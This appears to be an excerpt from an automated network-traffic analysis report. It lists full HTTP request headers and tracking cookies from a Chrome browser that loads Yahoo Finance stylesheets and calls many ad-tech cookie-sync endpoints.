Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/SectionWithSidebar.Bf-AwOOu.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=176682A8-E121-44A7-818D-4FE53D542BB2&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A3cS_gqdeUbvqw-b1fKqWAc\|t
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=rc&id=M1PA0VVQ-I-EWH1 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643; ptran=7992184014990425658
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/LeafNewsStream.D-zPoQeW.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /cr?key=pubmatic&gdpr=0&gdpr_consent=&bounce=1&random=2551201198 HTTP/1.1Host: cr.frontend.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AFFICHE_W=h3WN35HLk9WH59
Source: global traffic	HTTP traffic detected: GET /pubmatic/1/info?sType=sync&sExtCookieId=176682A8-E121-44A7-818D-4FE53D542BB2&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=8B22F39EC31AE5F8
Source: global traffic	HTTP traffic detected: GET /ebda?gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/FilteredStories.C5ltb4Tz.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; KTPCACOOKIE=YES; chkChromeAb67Sec=2; DPSync4=1728864000%3A227_226_219_197_245_241; SyncRTB4=1728259200%3A223%7C1728864000%3A220_201_13_251_54_71_3_21_56_266; ipc=160648^https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT^2^0; pi=160648:3
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAESFgoHc3Z4OXQ1MBILCOb3lfnK37A9EAUYBSACKAIyCwiYwNik4d-wPRAFOAE.
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEH85Z0C6pHtyE6-DEC6SiYM&google_cver=1 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; KTPCACOOKIE=YES; chkChromeAb67Sec=2; DPSync4=1728864000%3A227_226_219_197_245_241; SyncRTB4=1728259200%3A223%7C1728864000%3A220_201_13_251_54_71_3_21_56_266; ipc=160648^https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT^2^0; pi=160648:3
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/StoryItem.CsmwoRFQ.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/StoryMetaPublishing.uqjoCQC9.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=pubmatic&gdpr=-1&gdpr_consent= HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qmap?c=240&tp=PUBM&tpid=176682A8-E121-44A7-818D-4FE53D542BB2&gdpr=0&gdpr_consent=&ct=y HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Ticker.BZjnd4DS.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/TopicPill.Cd876vvj.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/176682A8-E121-44A7-818D-4FE53D542BB2?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /sync?ssp=gumgum2&user_id=e_5a867c78-d90d-4df8-b8ff-e041d0dc2e22&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /csync/RX-3fef85e6-bbf0-409a-a376-6c1ad497756a-003?redir=https%3A%2F%2Fads.yieldmo.com%2Fv000%2Fsync%3Fpn_id%3Dunl%26id%3DRX-3fef85e6-bbf0-409a-a376-6c1ad497756a-003 HTTP/1.1Host: sync.targeting.unrulymedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
